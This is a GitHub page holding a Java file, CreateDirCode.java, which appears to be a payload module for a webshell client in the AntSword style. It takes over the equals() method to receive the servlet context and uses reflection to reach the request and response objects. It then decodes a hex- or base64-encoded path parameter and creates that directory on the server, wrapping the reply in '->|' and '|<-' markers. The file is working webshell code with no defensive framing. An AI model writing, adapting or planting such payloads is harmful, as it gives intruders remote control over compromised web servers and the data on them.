-
Notifications
You must be signed in to change notification settings - Fork 12
/
CreateDirCode.java
106 lines (99 loc) · 4.32 KB
/
CreateDirCode.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.lang.reflect.Field;
public class CreateDirCode {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
@Override
public boolean equals(Object obj) {
if (obj instanceof PageContext) {
PageContext page = (PageContext) obj;
request = (HttpServletRequest) page.getRequest();
response = (HttpServletResponse) page.getResponse();
} else if (obj instanceof HttpServletRequest) {
request = (HttpServletRequest) obj;
try {
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest) req.get(request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
response = (HttpServletResponse) resp.get(request2);
} catch (Exception e) {
e.printStackTrace();
}
} else if (obj instanceof HttpServletResponse) {
response = (HttpServletResponse) obj;
try {
Field resp = response.getClass().getDeclaredField("response");
resp.setAccessible(true);
HttpServletResponse response2 = (HttpServletResponse) resp.get(response);
Field req = response2.getClass().getDeclaredField("request");
req.setAccessible(true);
request = (HttpServletRequest) req.get(response2);
} catch (Exception e) {
e.printStackTrace();
}
}
encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : "";
cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
String var1 = EC(decode(request.getParameter("var1") + ""));
output.append("->" + "|");
sb.append(CreateDirCode(var1));
output.append(sb.toString());
output.append("|" + "<-");
response.getWriter().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
String EC(String s) throws Exception {
if (encoder.equals("hex")) return s;
return new String(s.getBytes(), cs);
}
String decode(String str) throws Exception {
if (encoder.equals("hex")) {
if (str == null || str.equals("")) {
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2);
String ss = "";
for (int i = 0; i < str.length(); i += 2) {
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString("UTF-8");
} else if (encoder.equals("base64")) {
byte[] bt = null;
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
return new String(bt, "UTF-8");
}
return str;
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
}